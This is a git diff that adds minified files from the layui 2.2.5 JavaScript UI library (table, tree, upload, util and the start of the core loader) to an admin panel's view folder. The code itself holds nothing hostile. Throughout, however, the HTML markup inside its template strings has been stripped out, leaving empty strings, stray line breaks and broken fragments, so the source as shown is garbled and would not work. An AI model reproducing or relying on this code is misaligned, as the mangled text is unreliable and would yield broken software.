rowspan="{{item2.rowspan}}"{{#}}}';return e=e||{},['',"","{{# layui.each(d.data.cols, function(i1, item1){ }}","","{{# layui.each(item1, function(i2, item2){ }}",'{{# if(item2.fixed && item2.fixed !== "right"){ left = true; } }}','{{# if(item2.fixed === "right"){ right = true; } }}',function(){return e.fixed&&"right"!==e.fixed?'{{# if(item2.fixed && item2.fixed !== "right"){ }}':"right"===e.fixed?'{{# if(item2.fixed === "right"){ }}':""}(),'",e.fixed?"{{# }; }}":"","{{# }); }}","","{{# }); }}","","
    ','
    1){ }}","group","{{# } else { }}","{{d.index}}-{{item2.field || i2}}",'{{# if(item2.type !== "normal"){ }}'," laytable-cell-{{ item2.type }}","{{# } }}","{{# } }}",'" {{#if(item2.align){}}align="{{item2.align}}"{{#}}}>','{{# if(item2.type === "checkbox"){ }}','',"{{# } else { }}",'{{item2.title||""}}',"{{# if(!(item2.colspan > 1) && item2.sort){ }}",'',"{{# } }}","{{# } }}","
    ","
    "].join("")},z=['',"","
    "].join(""),A=['
    ',"{{# if(d.data.toolbar){ }}",'
    ',"{{# } }}",'
    ',"{{# var left, right; }}",'
    ',W(),"
    ",'
    ',z,"
    ","{{# if(left){ }}",'
    ','
    ',W({fixed:!0}),"
    ",'
    ',z,"
    ","
    ","{{# }; }}","{{# if(right){ }}",'
    ','
    ',W({fixed:"right"}),'
    ',"
    ",'
    ',z,"
    ","
    ","{{# }; }}","
    ","{{# if(d.data.page){ }}",'
    ','
    ',"
    ","{{# } }}","","
    "].join(""),T=t(window),M=t(document),S=function(e){var i=this;i.index=++d.index,i.config=t.extend({},i.config,d.config,e),i.render()};S.prototype.config={limit:10,loading:!0,cellMinWidth:60,text:{none:"无数据"}},S.prototype.render=function(){var e=this,a=e.config;if(a.elem=t(a.elem),a.where=a.where||{},a.id=a.id||a.elem.attr("id"),a.request=t.extend({pageName:"page",limitName:"limit"},a.request),a.response=t.extend({statusName:"code",statusCode:0,msgName:"msg",dataName:"data",countName:"count"},a.response),"object"==typeof a.page&&(a.limit=a.page.limit||a.limit,a.limits=a.page.limits||a.limits,e.page=a.page.curr=a.page.curr||1,delete a.page.elem,delete a.page.jump),!a.elem[0])return e;e.setArea();var l=a.elem,n=l.next("."+y),o=e.elem=t(i(A).render({VIEW_CLASS:y,data:a,index:e.index}));if(a.index=e.index,n[0]&&n.remove(),l.after(o),e.layHeader=o.find(p),e.layMain=o.find(v),e.layBody=o.find(m),e.layFixed=o.find(g),e.layFixLeft=o.find(x),e.layFixRight=o.find(b),e.layTool=o.find(k),e.layPage=o.find(C),e.layTool.html(i(t(a.toolbar).html()||"").render(a)),a.height&&e.fullSize(),a.cols.length>1){var r=e.layFixed.find(p).find("th");r.height(e.layHeader.height()-1-parseFloat(r.css("padding-top"))-parseFloat(r.css("padding-bottom")))}e.pullData(e.page),e.events()},S.prototype.initOpts=function(e){var t=this,i=(t.config,{checkbox:48,space:15,numbers:40});e.checkbox&&(e.type="checkbox"),e.space&&(e.type="space"),e.type||(e.type="normal"),"normal"!==e.type&&(e.unresize=!0,e.width=e.width||i[e.type])},S.prototype.setArea=function(){var e=this,t=e.config,i=0,a=0,l=0,n=0,o=t.width||function(){var e=function(i){var a,l;i=i||t.elem.parent(),a=i.width();try{l="none"===i.css("display")}catch(n){}return!i[0]||a&&!l?a:e(i.parent())};return e()}();e.eachCols(function(){i++}),o-=function(){return"line"===t.skin||"nob"===t.skin?2:i+1}(),layui.each(t.cols,function(t,i){layui.each(i,function(t,l){var r;return l?(e.initOpts(l),r=l.width||0,void(l.colspan>1||(/\d+%$/.test(r)?l.width=r=Math.floor(parseFloat(r)/100*o):r||(l.width=r=0,a++),n+=r))):void i.splice(t,1)})}),e.autoColNums=a,o>n&&a&&(l=(o-n)/a),layui.each(t.cols,function(e,i){layui.each(i,function(e,i){var a=i.minWidth||t.cellMinWidth;i.colspan>1||0===i.width&&(i.width=Math.floor(l>=a?l:a))})}),t.height&&/^full-\d+$/.test(t.height)&&(e.fullHeightGap=t.height.split("-")[1],t.height=T.height()-e.fullHeightGap)},S.prototype.reload=function(e){var i=this;i.config.data&&i.config.data.constructor===Array&&delete i.config.data,i.config=t.extend({},i.config,e),i.render()},S.prototype.page=1,S.prototype.pullData=function(e,i){var a=this,n=a.config,o=n.request,r=n.response,d=function(){"object"==typeof n.initSort&&a.sort(n.initSort.field,n.initSort.type)};if(a.startTime=(new Date).getTime(),n.url){var c={};c[o.pageName]=e,c[o.limitName]=n.limit,t.ajax({type:n.method||"get",url:n.url,data:t.extend(c,n.where),dataType:"json",success:function(t){t[r.statusName]!=r.statusCode?(a.renderForm(),a.layMain.html('
    '+(t[r.msgName]||"返回的数据状态异常")+"
    ")):(a.renderData(t,e,t[r.countName]),d(),n.time=(new Date).getTime()-a.startTime+" ms"),i&&l.close(i),"function"==typeof n.done&&n.done(t,e,t[r.countName])},error:function(e,t){a.layMain.html('
    数据接口请求异常
    '),a.renderForm(),i&&l.close(i)}})}else if(n.data&&n.data.constructor===Array){var s={},u=e*n.limit-n.limit;s[r.dataName]=n.data.concat().splice(u,n.limit),s[r.countName]=n.data.length,a.renderData(s,e,n.data.length),d(),"function"==typeof n.done&&n.done(s,e,s[r.countName])}},S.prototype.eachCols=function(e){var i=t.extend(!0,[],this.config.cols),a=[],l=0;layui.each(i,function(e,t){layui.each(t,function(t,n){if(n.colspan>1){var o=0;l++,n.CHILD_COLS=[],layui.each(i[e+1],function(e,t){t.PARENT_COL||o==n.colspan||(t.PARENT_COL=l,n.CHILD_COLS.push(t),o+=t.colspan>1?t.colspan:1)})}n.PARENT_COL||a.push(n)})});var n=function(t){layui.each(t||a,function(t,i){return i.CHILD_COLS?n(i.CHILD_COLS):void e(t,i)})};n()},S.prototype.renderData=function(e,n,o,r){var c=this,s=c.config,u=e[s.response.dataName]||[],y=[],p=[],m=[],v=function(){return!r&&c.sortKey?c.sort(c.sortKey.field,c.sortKey.sort,!0):(layui.each(u,function(e,a){var l=[],o=[],u=[],h=e+s.limit*(n-1)+1;0!==a.length&&(r||(a[d.config.indexName]=e),c.eachCols(function(e,n){var r=n.field||e,f=a[r];c.getColElem(c.layHeader,r);if(void 0!==f&&null!==f||(f=""),!(n.colspan>1)){var y=['",'
    '+function(){var e=t.extend(!0,{LAY_INDEX:h},a);return"checkbox"===n.type?'":"numbers"===n.type?h:n.toolbar?i(t(n.toolbar).html()||"").render(e):n.templet?function(){return"function"==typeof n.templet?n.templet(e):i(t(n.templet).html()||String(f)).render(e)}():f}(),"
    "].join("");l.push(y),n.fixed&&"right"!==n.fixed&&o.push(y),"right"===n.fixed&&u.push(y)}}),y.push(''+l.join("")+""),p.push(''+o.join("")+""),m.push(''+u.join("")+""))}),c.layBody.scrollTop(0),c.layMain.find("."+f).remove(),c.layMain.find("tbody").html(y.join("")),c.layFixLeft.find("tbody").html(p.join("")),c.layFixRight.find("tbody").html(m.join("")),c.renderForm(),c.syncCheckAll(),c.haveInit?c.scrollPatch():setTimeout(function(){c.scrollPatch()},50),c.haveInit=!0,void l.close(c.tipsIndex))};return c.key=s.id||s.index,d.cache[c.key]=u,c.layPage[0===u.length&&1==n?"addClass":"removeClass"](h),r?v():0===u.length?(c.renderForm(),c.layFixed.remove(),c.layMain.find("tbody").html(""),c.layMain.find("."+f).remove(),c.layMain.append('
    '+s.text.none+"
    ")):(v(),void(s.page&&(s.page=t.extend({elem:"layui-table-page"+s.index,count:o,limit:s.limit,limits:s.limits||[10,20,30,40,50,60,70,80,90],groups:3,layout:["prev","page","next","skip","count","limit"],prev:'',next:'',jump:function(e,t){t||(c.page=e.curr,s.limit=e.limit,c.pullData(e.curr,c.loading()))}},s.page),s.page.count=o,a.render(s.page))))},S.prototype.getColElem=function(e,t){var i=this,a=i.config;return e.eq(0).find(".laytable-cell-"+(a.index+"-"+t)+":eq(0)")},S.prototype.renderForm=function(e){n.render(e,"LAY-table-"+this.index)},S.prototype.sort=function(e,i,a,l){var n,r,c=this,u={},h=c.config,f=h.elem.attr("lay-filter"),y=d.cache[c.key];"string"==typeof e&&c.layHeader.find("th").each(function(i,a){var l=t(this),o=l.data("field");if(o===e)return e=l,n=o,!1});try{var n=n||e.data("field");if(c.sortKey&&!a&&n===c.sortKey.field&&i===c.sortKey.sort)return;var p=c.layHeader.find("th .laytable-cell-"+h.index+"-"+n).find(w);c.layHeader.find("th").find(w).removeAttr("lay-sort"),p.attr("lay-sort",i||null),c.layFixed.find("th")}catch(m){return o.error("Table modules: Did not match to field")}c.sortKey={field:n,sort:i},"asc"===i?r=layui.sort(y,n):"desc"===i?r=layui.sort(y,n,!0):(r=layui.sort(y,d.config.indexName),delete c.sortKey),u[h.response.dataName]=r,c.renderData(u,c.page,c.count,!0),l&&layui.event.call(e,s,"sort("+f+")",{field:n,type:i})},S.prototype.loading=function(){var e=this,t=e.config;if(t.loading&&t.url)return l.msg("数据请求中",{icon:16,offset:[e.elem.offset().top+e.elem.height()/2-35-T.scrollTop()+"px",e.elem.offset().left+e.elem.width()/2-90-T.scrollLeft()+"px"],time:-1,anim:-1,fixed:!1})},S.prototype.setCheckData=function(e,t){var i=this,a=i.config,l=d.cache[i.key];l[e]&&l[e].constructor!==Array&&(l[e][a.checkName]=t)},S.prototype.syncCheckAll=function(){var e=this,t=e.config,i=e.layHeader.find('input[name="layTableCheckbox"]'),a=function(i){return e.eachCols(function(e,a){"checkbox"===a.type&&(a[t.checkName]=i)}),i};i[0]&&(d.checkStatus(e.key).isAll?(i[0].checked||(i.prop("checked",!0),e.renderForm("checkbox")),a(!0)):(i[0].checked&&(i.prop("checked",!1),e.renderForm("checkbox")),a(!1)))},S.prototype.getCssRule=function(e,t){var i=this,a=i.elem.find("style")[0],l=a.sheet||a.styleSheet||{},n=l.cssRules||l.rules;layui.each(n,function(a,l){if(l.selectorText===".laytable-cell-"+i.index+"-"+e)return t(l),!0})},S.prototype.fullSize=function(){var e,t=this,i=t.config,a=i.height;t.fullHeightGap&&(a=T.height()-t.fullHeightGap,a<135&&(a=135),t.elem.css("height",a)),e=parseFloat(a)-parseFloat(t.layHeader.height())-1,i.toolbar&&(e-=t.layTool.outerHeight()),i.page&&(e=e-t.layPage.outerHeight()-1),t.layMain.css("height",e)},S.prototype.getScrollWidth=function(e){var t=0;return e?t=e.offsetWidth-e.clientWidth:(e=document.createElement("div"),e.style.width="100px",e.style.height="100px",e.style.overflowY="scroll",document.body.appendChild(e),t=e.offsetWidth-e.clientWidth,document.body.removeChild(e)),t},S.prototype.scrollPatch=function(){var e=this,i=e.layMain.children("table"),a=e.layMain.width()-e.layMain.prop("clientWidth"),l=e.layMain.height()-e.layMain.prop("clientHeight"),n=e.getScrollWidth(e.layMain[0]),o=i.outerWidth()-e.layMain.width();if(e.autoColNums&&o<5&&!e.scrollPatchWStatus){var r=e.layHeader.eq(0).find("thead th:last-child"),d=r.data("field");e.getCssRule(d,function(t){var i=t.style.width||r.outerWidth();t.style.width=parseFloat(i)-n-o+"px",e.layMain.height()-e.layMain.prop("clientHeight")>0&&(t.style.width=parseFloat(t.style.width)-1+"px"),e.scrollPatchWStatus=!0})}if(a&&l){if(!e.elem.find(".layui-table-patch")[0]){var c=t('
    ');c.find("div").css({width:a}),e.layHeader.eq(0).find("thead tr").append(c)}}else e.layHeader.eq(0).find(".layui-table-patch").remove();var s=e.layMain.height(),u=s-l;e.layFixed.find(m).css("height",i.height()>u?u:"auto"),e.layFixRight[o>0?"removeClass":"addClass"](h),e.layFixRight.css("right",a-1)},S.prototype.events=function(){var e,a=this,n=a.config,o=t("body"),c={},u=a.layHeader.find("th"),h=".layui-table-cell",f=n.elem.attr("lay-filter");u.on("mousemove",function(e){var i=t(this),a=i.offset().left,l=e.clientX-a;i.attr("colspan")>1||i.data("unresize")||c.resizeStart||(c.allowResize=i.width()-l<=10,o.css("cursor",c.allowResize?"col-resize":""))}).on("mouseleave",function(){t(this);c.resizeStart||o.css("cursor","")}).on("mousedown",function(e){var i=t(this);if(c.allowResize){var l=i.data("field");e.preventDefault(),c.resizeStart=!0,c.offset=[e.clientX,e.clientY],a.getCssRule(l,function(e){var t=e.style.width||i.outerWidth();c.rule=e,c.ruleWidth=parseFloat(t),c.minWidth=i.data("minwidth")||n.cellMinWidth})}}),M.on("mousemove",function(t){if(c.resizeStart){if(t.preventDefault(),c.rule){var i=c.ruleWidth+t.clientX-c.offset[0];i');d[0].value=e.data("content")||o.text(),e.find("."+N)[0]||e.append(d),d.focus()}else o.find(".layui-form-switch,.layui-form-checkbox")[0]||Math.round(o.prop("scrollWidth"))>Math.round(o.outerWidth())&&(a.tipsIndex=l.tips(['
    ',o.html(),"
    ",''].join(""),o[0],{tips:[3,""],time:-1,anim:-1,maxWidth:r.ios||r.android?300:600,isOutAnim:!1,skin:"layui-table-tips",success:function(e,t){e.find(".layui-table-tips-c").on("click",function(){l.close(t)})}}))}),a.layBody.on("click","*[lay-event]",function(){var e=t(this),l=e.parents("tr").eq(0).data("index"),n=a.layBody.find('tr[data-index="'+l+'"]'),o="layui-table-click",r=d.cache[a.key][l];layui.event.call(this,s,"tool("+f+")",{data:d.clearCacheKey(r),event:e.attr("lay-event"),tr:n,del:function(){d.cache[a.key][l]=[],n.remove(),a.scrollPatch()},update:function(e){e=e||{},layui.each(e,function(e,l){if(e in r){var o,d=n.children('td[data-field="'+e+'"]');r[e]=l,a.eachCols(function(t,i){i.field==e&&i.templet&&(o=i.templet)}),d.children(h).html(o?i(t(o).html()||l).render(r):l),d.data("content",l)}})}}),n.addClass(o).siblings("tr").removeClass(o)}),a.layMain.on("scroll",function(){var e=t(this),i=e.scrollLeft(),n=e.scrollTop();a.layHeader.scrollLeft(i),a.layFixed.find(m).scrollTop(n),l.close(a.tipsIndex)}),T.on("resize",function(){a.fullSize(),a.scrollPatch()})},d.init=function(e,i){i=i||{};var a=this,l=t(e?'table[lay-filter="'+e+'"]':u+"[lay-data]"),n="Table element property lay-data configuration item has a syntax error: ";return l.each(function(){var a=t(this),l=a.attr("lay-data");try{l=new Function("return "+l)()}catch(r){o.error(n+l)}var c=[],s=t.extend({elem:this,cols:[],data:[],skin:a.attr("lay-skin"),size:a.attr("lay-size"),even:"string"==typeof a.attr("lay-even")},d.config,i,l);e&&a.hide(),a.find("thead>tr").each(function(e){s.cols[e]=[],t(this).children().each(function(i){var a=t(this),l=a.attr("lay-data");try{l=new Function("return "+l)()}catch(r){return o.error(n+l)}var d=t.extend({title:a.text(),colspan:a.attr("colspan")||0,rowspan:a.attr("rowspan")||0},l);d.colspan<2&&c.push(d),s.cols[e].push(d)})}),a.find("tbody>tr").each(function(e){var i=t(this),a={};i.children("td").each(function(e,i){var l=t(this),n=l.data("field");if(n)return a[n]=l.html()}),layui.each(c,function(e,t){var l=i.children("td").eq(e);a[t.field]=l.html()}),s.data[e]=a}),d.render(s)}),a},d.checkStatus=function(e){var t=0,i=0,a=[],l=d.cache[e]||[];return layui.each(l,function(e,l){return l.constructor===Array?void i++:void(l[d.config.checkName]&&(t++,a.push(d.clearCacheKey(l))))}),{data:a,isAll:!!l.length&&t===l.length-i}},c.config={},d.reload=function(e,i){var a=c.config[e];return i=i||{},a?(i.data&&i.data.constructor===Array&&delete a.data,d.render(t.extend(!0,{},a,i))):o.error("The ID option was not found in the table instance")},d.render=function(e){var t=new S(e);return c.call(t)},d.clearCacheKey=function(e){return e=t.extend({},e),delete e[d.config.checkName],delete e[d.config.indexName],e},d.init(),e(s,d)}); \ No newline at end of file diff --git a/application/view/Admin/layui/lay/modules/tree.js b/application/view/Admin/layui/lay/modules/tree.js new file mode 100644 index 0000000..aeabe40 --- /dev/null +++ b/application/view/Admin/layui/lay/modules/tree.js @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + ;layui.define("jquery",function(e){"use strict";var o=layui.$,a=layui.hint(),i="layui-tree-enter",r=function(e){this.options=e},t={arrow:["",""],checkbox:["",""],radio:["",""],branch:["",""],leaf:""};r.prototype.init=function(e){var o=this;e.addClass("layui-box layui-tree"),o.options.skin&&e.addClass("layui-tree-skin-"+o.options.skin),o.tree(e),o.on(e)},r.prototype.tree=function(e,a){var i=this,r=i.options,n=a||r.nodes;layui.each(n,function(a,n){var l=n.children&&n.children.length>0,c=o('
      '),s=o(["
    • ",function(){return l?''+(n.spread?t.arrow[1]:t.arrow[0])+"":""}(),function(){return r.check?''+("checkbox"===r.check?t.checkbox[0]:"radio"===r.check?t.radio[0]:"")+"":""}(),function(){return'"+(''+(l?n.spread?t.branch[1]:t.branch[0]:t.leaf)+"")+(""+(n.name||"未命名")+"")}(),"
    • "].join(""));l&&(s.append(c),i.tree(c,n.children)),e.append(s),"function"==typeof r.click&&i.click(s,n),i.spread(s,n),r.drag&&i.drag(s,n)})},r.prototype.click=function(e,o){var a=this,i=a.options;e.children("a").on("click",function(e){layui.stope(e),i.click(o)})},r.prototype.spread=function(e,o){var a=this,i=(a.options,e.children(".layui-tree-spread")),r=e.children("ul"),n=e.children("a"),l=function(){e.data("spread")?(e.data("spread",null),r.removeClass("layui-show"),i.html(t.arrow[0]),n.find(".layui-icon").html(t.branch[0])):(e.data("spread",!0),r.addClass("layui-show"),i.html(t.arrow[1]),n.find(".layui-icon").html(t.branch[1]))};r[0]&&(i.on("click",l),n.on("dblclick",l))},r.prototype.on=function(e){var a=this,r=a.options,t="layui-tree-drag";e.find("i").on("selectstart",function(e){return!1}),r.drag&&o(document).on("mousemove",function(e){var i=a.move;if(i.from){var r=(i.to,o('
      '));e.preventDefault(),o("."+t)[0]||o("body").append(r);var n=o("."+t)[0]?o("."+t):r;n.addClass("layui-show").html(i.from.elem.children("a").html()),n.css({left:e.pageX+10,top:e.pageY+10})}}).on("mouseup",function(){var e=a.move;e.from&&(e.from.elem.children("a").removeClass(i),e.to&&e.to.elem.children("a").removeClass(i),a.move={},o("."+t).remove())})},r.prototype.move={},r.prototype.drag=function(e,a){var r=this,t=(r.options,e.children("a")),n=function(){var t=o(this),n=r.move;n.from&&(n.to={item:a,elem:e},t.addClass(i))};t.on("mousedown",function(){var o=r.move;o.from={item:a,elem:e}}),t.on("mouseenter",n).on("mousemove",n).on("mouseleave",function(){var e=o(this),a=r.move;a.from&&(delete a.to,e.removeClass(i))})},e("tree",function(e){var i=new r(e=e||{}),t=o(e.elem);return t[0]?void i.init(t):a.error("layui.tree 没有找到"+e.elem+"元素")})}); \ No newline at end of file diff --git a/application/view/Admin/layui/lay/modules/upload.js b/application/view/Admin/layui/lay/modules/upload.js new file mode 100644 index 0000000..4fbf66e --- /dev/null +++ b/application/view/Admin/layui/lay/modules/upload.js @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + ;layui.define("layer",function(e){"use strict";var i=layui.$,t=layui.layer,n=layui.hint(),a=layui.device(),o={config:{},set:function(e){var t=this;return t.config=i.extend({},t.config,e),t},on:function(e,i){return layui.onevent.call(this,r,e,i)}},l=function(){var e=this;return{upload:function(i){e.upload.call(e,i)},config:e.config}},r="upload",u="layui-upload-file",c="layui-upload-form",f="layui-upload-iframe",s="layui-upload-choose",p=function(e){var t=this;t.config=i.extend({},t.config,o.config,e),t.render()};p.prototype.config={accept:"images",exts:"",auto:!0,bindAction:"",url:"",field:"file",method:"post",data:{},drag:!0,size:0,number:0,multiple:!1},p.prototype.render=function(e){var t=this,e=t.config;e.elem=i(e.elem),e.bindAction=i(e.bindAction),t.file(),t.events()},p.prototype.file=function(){var e=this,t=e.config,n=e.elemFile=i(['"].join("")),o=t.elem.next();(o.hasClass(u)||o.hasClass(c))&&o.remove(),a.ie&&a.ie<10&&t.elem.wrap('
      '),e.isFile()?(e.elemFile=t.elem,t.field=t.elem[0].name):t.elem.after(n),a.ie&&a.ie<10&&e.initIE()},p.prototype.initIE=function(){var e=this,t=e.config,n=i(''),a=i(['
      ',"
      "].join(""));i("#"+f)[0]||i("body").append(n),t.elem.next().hasClass(f)||(e.elemFile.wrap(a),t.elem.next("."+f).append(function(){var e=[];return layui.each(t.data,function(i,t){e.push('')}),e.join("")}()))},p.prototype.msg=function(e){return t.msg(e,{icon:2,shift:6})},p.prototype.isFile=function(){var e=this.config.elem[0];if(e)return"input"===e.tagName.toLocaleLowerCase()&&"file"===e.type},p.prototype.preview=function(e){var i=this;window.FileReader&&layui.each(i.chooseFiles,function(i,t){var n=new FileReader;n.readAsDataURL(t),n.onload=function(){e&&e(i,t,this.result)}})},p.prototype.upload=function(e,t){var n,o=this,l=o.config,r=o.elemFile[0],u=function(){var t=0,n=0,a=e||o.files||o.chooseFiles||r.files,u=function(){l.multiple&&t+n===o.fileLength&&"function"==typeof l.allDone&&l.allDone({total:o.fileLength,successful:t,aborted:n})};layui.each(a,function(e,a){var r=new FormData;r.append(l.field,a),layui.each(l.data,function(e,i){r.append(e,i)}),i.ajax({url:l.url,type:l.method,data:r,contentType:!1,processData:!1,dataType:"json",success:function(i){t++,d(e,i),u()},error:function(){n++,o.msg("请求上传接口出现异常"),m(e),u()}})})},c=function(){var e=i("#"+f);o.elemFile.parent().submit(),clearInterval(p.timer),p.timer=setInterval(function(){var i,t=e.contents().find("body");try{i=t.text()}catch(n){o.msg("获取上传后的响应信息出现异常"),clearInterval(p.timer),m()}i&&(clearInterval(p.timer),t.html(""),d(0,i))},30)},d=function(e,i){if(o.elemFile.next("."+s).remove(),r.value="","object"!=typeof i)try{i=JSON.parse(i)}catch(t){return i={},o.msg("请对上传接口返回有效JSON")}"function"==typeof l.done&&l.done(i,e||0,function(e){o.upload(e)})},m=function(e){l.auto&&(r.value=""),"function"==typeof l.error&&l.error(e||0,function(e){o.upload(e)})},h=l.exts,v=function(){var i=[];return layui.each(e||o.chooseFiles,function(e,t){i.push(t.name)}),i}(),g={preview:function(e){o.preview(e)},upload:function(e,i){var t={};t[e]=i,o.upload(t)},pushFile:function(){return o.files=o.files||{},layui.each(o.chooseFiles,function(e,i){o.files[e]=i}),o.files}},y=function(){return"choose"===t?l.choose&&l.choose(g):(l.before&&l.before(g),a.ie?a.ie>9?u():c():void u())};if(v=0===v.length?r.value.match(/[^\/\\]+\..+/g)||[]||"":v,0!==v.length){switch(l.accept){case"file":if(h&&!RegExp("\\w\\.("+h+")$","i").test(escape(v)))return o.msg("选择的文件中包含不支持的格式"),r.value="";break;case"video":if(!RegExp("\\w\\.("+(h||"avi|mp4|wma|rmvb|rm|flash|3gp|flv")+")$","i").test(escape(v)))return o.msg("选择的视频中包含不支持的格式"),r.value="";break;case"audio":if(!RegExp("\\w\\.("+(h||"mp3|wav|mid")+")$","i").test(escape(v)))return o.msg("选择的音频中包含不支持的格式"),r.value="";break;default:if(layui.each(v,function(e,i){RegExp("\\w\\.("+(h||"jpg|png|gif|bmp|jpeg$")+")","i").test(escape(i))||(n=!0)}),n)return o.msg("选择的图片中包含不支持的格式"),r.value=""}if(o.fileLength=function(){var i=0,t=e||o.files||o.chooseFiles||r.files;return layui.each(t,function(){i++}),i}(),l.number&&o.fileLength>l.number)return o.msg("同时最多只能上传的数量为:"+l.number);if(l.size>0&&!(a.ie&&a.ie<10)){var F;if(layui.each(o.chooseFiles,function(e,i){if(i.size>1024*l.size){var t=l.size/1024;t=t>=1?Math.floor(t)+(t%1>0?t.toFixed(1):0)+"MB":l.size+"KB",r.value="",F=t}}),F)return o.msg("文件不能超过"+F)}y()}},p.prototype.events=function(){var e=this,t=e.config,o=function(i){e.chooseFiles={},layui.each(i,function(i,t){var n=(new Date).getTime();e.chooseFiles[n+"-"+i]=t})},l=function(i,n){var a=e.elemFile,o=i.length>1?i.length+"个文件":(i[0]||{}).name||a[0].value.match(/[^\/\\]+\..+/g)||[]||"";a.next().hasClass(s)&&a.next().remove(),e.upload(null,"choose"),e.isFile()||t.choose||a.after(''+o+"")};t.elem.off("upload.start").on("upload.start",function(){var a=i(this),o=a.attr("lay-data");if(o)try{o=new Function("return "+o)(),e.config=i.extend({},t,o)}catch(l){n.error("Upload element property lay-data configuration item has a syntax error: "+o)}e.config.item=a,e.elemFile[0].click()}),a.ie&&a.ie<10||t.elem.off("upload.over").on("upload.over",function(){var e=i(this);e.attr("lay-over","")}).off("upload.leave").on("upload.leave",function(){var e=i(this);e.removeAttr("lay-over")}).off("upload.drop").on("upload.drop",function(n,a){var r=i(this),u=a.originalEvent.dataTransfer.files||[];r.removeAttr("lay-over"),o(u),t.auto?e.upload(u):l(u)}),e.elemFile.off("upload.change").on("upload.change",function(){var i=this.files||[];o(i),t.auto?e.upload():l(i)}),t.bindAction.off("upload.action").on("upload.action",function(){e.upload()}),t.elem.data("haveEvents")||(e.elemFile.on("change",function(){i(this).trigger("upload.change")}),t.elem.on("click",function(){e.isFile()||i(this).trigger("upload.start")}),t.drag&&t.elem.on("dragover",function(e){e.preventDefault(),i(this).trigger("upload.over")}).on("dragleave",function(e){i(this).trigger("upload.leave")}).on("drop",function(e){e.preventDefault(),i(this).trigger("upload.drop",e)}),t.bindAction.on("click",function(){i(this).trigger("upload.action")}),t.elem.data("haveEvents",!0))},o.render=function(e){var i=new p(e);return l.call(i)},e(r,o)}); \ No newline at end of file diff --git a/application/view/Admin/layui/lay/modules/util.js b/application/view/Admin/layui/lay/modules/util.js new file mode 100644 index 0000000..3a29621 --- /dev/null +++ b/application/view/Admin/layui/lay/modules/util.js @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + ;layui.define("jquery",function(e){"use strict";var t=layui.$,i={fixbar:function(e){var i,o,a="layui-fixbar",r="layui-fixbar-top",n=t(document),l=t("body");e=t.extend({showHeight:200},e),e.bar1=e.bar1===!0?"":e.bar1,e.bar2=e.bar2===!0?"":e.bar2,e.bgcolor=e.bgcolor?"background-color:"+e.bgcolor:"";var c=[e.bar1,e.bar2,""],g=t(['
        ',e.bar1?'
      • '+c[0]+"
      • ":"",e.bar2?'
      • '+c[1]+"
      • ":"",'
      • '+c[2]+"
      • ","
      "].join("")),s=g.find("."+r),u=function(){var t=n.scrollTop();t>=e.showHeight?i||(s.show(),i=1):i&&(s.hide(),i=0)};t("."+a)[0]||("object"==typeof e.css&&g.css(e.css),l.append(g),u(),g.find("li").on("click",function(){var i=t(this),o=i.attr("lay-type");"top"===o&&t("html,body").animate({scrollTop:0},200),e.click&&e.click.call(this,o)}),n.on("scroll",function(){clearTimeout(o),o=setTimeout(function(){u()},100)}))},countdown:function(e,t,i){var o=this,a="function"==typeof t,r=new Date(e).getTime(),n=new Date(!t||a?(new Date).getTime():t).getTime(),l=r-n,c=[Math.floor(l/864e5),Math.floor(l/36e5)%24,Math.floor(l/6e4)%60,Math.floor(l/1e3)%60];a&&(i=t);var g=setTimeout(function(){o.countdown(e,n+1e3,i)},1e3);return i&&i(l>0?c:[0,0,0,0],t,g),l<=0&&clearTimeout(g),g},timeAgo:function(e,t){var i=this,o=[[],[]],a=(new Date).getTime()-new Date(e).getTime();return a>6912e5?(a=new Date(e),o[0][0]=i.digit(a.getFullYear(),4),o[0][1]=i.digit(a.getMonth()+1),o[0][2]=i.digit(a.getDate()),t||(o[1][0]=i.digit(a.getHours()),o[1][1]=i.digit(a.getMinutes()),o[1][2]=i.digit(a.getSeconds())),o[0].join("-")+" "+o[1].join(":")):a>=864e5?(a/1e3/60/60/24|0)+"天前":a>=36e5?(a/1e3/60/60|0)+"小时前":a>=12e4?(a/1e3/60|0)+"分钟前":a<0?"未来":"刚刚"},digit:function(e,t){var i="";e=String(e),t=t||2;for(var o=e.length;o0;r--)if("interactive"===n[r].readyState){e=n[r].src;break}return e||n[o].src}();return e.substring(0,e.lastIndexOf("/")+1)}(),a=function(t){e.console&&console.error&&console.error("Layui hint: "+t)},i="undefined"!=typeof opera&&"[object Opera]"===opera.toString(),u={layer:"modules/layer",laydate:"modules/laydate",laypage:"modules/laypage",laytpl:"modules/laytpl",layim:"modules/layim",layedit:"modules/layedit",form:"modules/form",upload:"modules/upload",tree:"modules/tree",table:"modules/table",element:"modules/element",util:"modules/util",flow:"modules/flow",carousel:"modules/carousel",code:"modules/code",jquery:"modules/jquery",mobile:"modules/mobile","layui.all":"../layui.all"};o.prototype.cache=n,o.prototype.define=function(e,t){var o=this,r="function"==typeof e,a=function(){var e=function(e,t){layui[e]=t,n.status[e]=!0};return"function"==typeof t&&t(function(o,r){e(o,r),n.callback[o]=function(){t(e)}}),this};return r&&(t=e,e=[]),layui["layui.all"]||!layui["layui.all"]&&layui["layui.mobile"]?a.call(o):(o.use(e,a),o)},o.prototype.use=function(e,o,l){function s(e,t){var o="PLaySTATION 3"===navigator.platform?/^complete$/:/^(complete|loaded)$/;("load"===e.type||o.test((e.currentTarget||e.srcElement).readyState))&&(n.modules[f]=t,d.removeChild(v),function r(){return++m>1e3*n.timeout/4?a(f+" is not a valid module"):void(n.status[f]?c():setTimeout(r,4))}())}function c(){l.push(layui[f]),e.length>1?y.use(e.slice(1),o,l):"function"==typeof o&&o.apply(layui,l)}var y=this,p=n.dir=n.dir?n.dir:r,d=t.getElementsByTagName("head")[0];e="string"==typeof e?[e]:e,window.jQuery&&jQuery.fn.on&&(y.each(e,function(t,n){"jquery"===n&&e.splice(t,1)}),layui.jquery=layui.$=jQuery);var f=e[0],m=0;if(l=l||[],n.host=n.host||(p.match(/\/\/([\s\S]+?)\//)||["//"+location.host+"/"])[0],0===e.length||layui["layui.all"]&&u[f]||!layui["layui.all"]&&layui["layui.mobile"]&&u[f])return c(),y;if(n.modules[f])!function g(){return++m>1e3*n.timeout/4?a(f+" is not a valid module"):void("string"==typeof n.modules[f]&&n.status[f]?c():setTimeout(g,4))}();else{var 